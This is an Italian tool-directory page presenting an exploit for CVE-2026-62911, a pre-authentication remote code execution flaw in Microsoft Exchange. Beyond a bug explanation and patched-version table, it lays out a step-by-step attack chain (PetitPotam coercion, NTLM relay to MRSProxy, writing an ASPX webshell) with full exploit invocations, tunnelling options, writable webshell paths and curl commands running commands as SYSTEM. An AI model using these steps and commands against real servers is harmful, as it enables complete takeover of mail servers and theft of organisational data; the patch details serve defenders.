Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-62911 — Exploit proof-of-concept per CVE-2026-62911: RCE pre-autenticazione su Microsoft Exchange tramite NTLM relay verso MRSProxy, con scrittura di una webshell ASPX per l'esecuzione di comandi come SYSTEM. | Kitploit
Strumenti/GitHubGitHub/hypnguyen1209/cve-2026-62911
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubhypnguyen1209/cve-2026-62911

CVE-2026-62911

Exploit proof-of-concept per CVE-2026-62911: RCE pre-autenticazione su Microsoft Exchange tramite NTLM relay verso MRSProxy, con scrittura di una webshell ASPX per l'esecuzione di comandi come SYSTEM.

Vedi Repository
22 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-62911

RCE pre-autenticazione su Microsoft Exchange Server. Nessuna credenziale necessaria.

Orange Tsai (DEVCORE) ha sfruttato questa vulnerabilità al Pwn2Own Berlin 2026 come parte di una catena di 3 bug. Premio di 200.000 dollari, compromissione totale come SYSTEM.

Cosa fa

Exchange espone MailboxReplicationProxyService (MRSProxy) su due percorsi. Uno di essi risiede su HTTP.sys senza Extended Protection:

Scarica lo strumento
PercorsoOspitato daExtended Protection
/EWS/MRSProxy.svcIISSì. Sicuro.
/Microsoft.Exchange.MailboxReplicationService.ProxyServiceHTTP.sysNo. Obiettivo del relay.

L'endpoint HTTP.sys accetta l'autenticazione Negotiate ma non controlla mai i channel binding. Inoltri l'hash di un account macchina ad esso e Exchange ti tratta come quella macchina. Gli account macchina dispongono di ms-Exch-EPI-Token-Serialization per impostazione predefinita, quindi il servizio WCF concede l'accesso completo.

Una volta dentro, IMailbox_Config6() accetta un parametro filePath. PstDestinationMailbox.ConfigPst() scrive qualunque percorso gli venga fornito. Nessun controllo sull'estensione. Puntalo su una directory IIS, chiama IMailbox_Connect() e un file finisce su disco. Rendi quel file una webshell ASPX. Fatto.

La configurazione che rende possibile tutto questo

root@kitploit:~
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
  <httpsTransport authenticationScheme="Negotiate"
      maxReceivedMessageSize="100000000" />
  <!-- no extendedProtectionPolicy — that's the bug -->
</binding>

Interfaccia WCF (metodi rilevanti)

root@kitploit:~
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
        string filePath,        // attacker-controlled, no validation
        byte[] partitionHint, Guid mdbGuid, string mdbName,
        MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);
        // calls PSTSession.Open() — writes file at filePath
}

Versioni interessate

ProdottoVulnerabile al di sotto diCorrettaKB
Exchange 2016 CU2315.1.2507.7215.1.2507.72KB5121576
Exchange 2019 CU1415.2.1544.4315.2.1544.43KB5121575
Exchange 2019 CU1515.2.1748.4815.2.1748.48KB5121574
Exchange SE RTM15.2.2562.4515.2.2562.45KB5121573

Exchange 2016 ha raggiunto la fine del supporto (end-of-life) nell'ottobre 2025. La correzione dell'agosto 2026 viene distribuita solo tramite gli Extended Security Updates (ESU). Se l'organizzazione non ha acquistato ESU, non esiste una patch.

Come funziona l'attacco

root@kitploit:~
Attacker                    EX02 (trigger)         EX01 (target)
   │                            │                       │
   │── PetitPotam (MS-EFSR) ──▶│                       │
   │                            │                       │
   │◀── NTLM auth (EX02$) ─────│                       │
   │                            │                       │
   │── relay NTLM ────────────────────────────────────▶│
   │   (to MRSProxy HTTP.sys)                           │
   │                                                    │
   │── IMailbox_Config6(path=shell.aspx) ─────────────▶│
   │── IMailbox_Connect() ────────────────────────────▶│
   │                                                    │ file written
   │                                                    │
   │── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
   │◀── nt authority\system ────────────────────────────│

Cinque passaggi:

  1. Innesca MS-EFSR (EfsRpcOpenFileRaw) su EX02. Si autentica verso di te con il suo account macchina. PetitPotam funziona senza autenticazione contro Exchange non aggiornato.

  2. Il tuo listener SMB cattura la negoziazione NTLM da EX02$.

  3. Inoltrala via HTTPS al MRSProxy di EX01. L'endpoint non controlla l'EPA, quindi il relay viene completato. Gli account macchina dispongono già del diritto di serializzazione di Exchange, quindi il controllo di autorizzazione viene superato.

  4. Invia le chiamate WCF: IMailbox_Config6 con un percorso come C:\inetpub\wwwroot\aspnet_client\shell.aspx, poi IMailbox_Connect. Exchange scrive il file.

  5. Raggiungi la webshell. Sei SYSTEM.

Esecuzione

Installa le dipendenze:

root@kitploit:~
pip install impacket pysocks

Verifica se MRSProxy è esposto:

root@kitploit:~
python3 exploit.py --check-only \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

Devi vedere Microsoft-HTTPAPI/2.0 con Negotiate nella risposta 401. Questo conferma che l'endpoint HTTP.sys è attivo e che l'EPA è assente.

Esegui l'exploit:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

Se PetitPotam richiede autenticazione sul tuo target:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM

Attraverso un tunnel SOCKS:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --socks 127.0.0.1 --socks-port 10800

Scegli un percorso di scrittura diverso:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
  --webshell-url '/owa/auth/x.aspx'

Verifica che la shell sia stata scritta:

root@kitploit:~
python3 exploit.py --verify-only \
  -t 192.168.1.10 \
  --webshell-url '/aspnet_client/system_web/shell.aspx'

Usala:

root@kitploit:~
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"

Percorsi di scrittura che funzionano

Percorso su discoURLMotivo
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx/aspnet_client/system_web/shell.aspxDirectory predefinita degli script client di IIS. Di solito scrivibile, serve ASPX.
C:\inetpub\wwwroot\aspnet_client\shell.aspx/aspnet_client/shell.aspxCome sopra, più breve.
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx/owa/auth/shell.aspxCartella di autenticazione di OWA.
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx/ecp/auth/shell.aspxCartella di autenticazione di ECP.

Riferimenti

  • MBBank VRED: Analysis of Exchange Server Pre-Auth
  • Pwn2Own Berlin 2026, Day 2
  • Microsoft Advisory
  • KB5121576

Note legali

Solo per test autorizzati. Ottieni un permesso scritto prima di eseguire questo strumento contro qualsiasi sistema.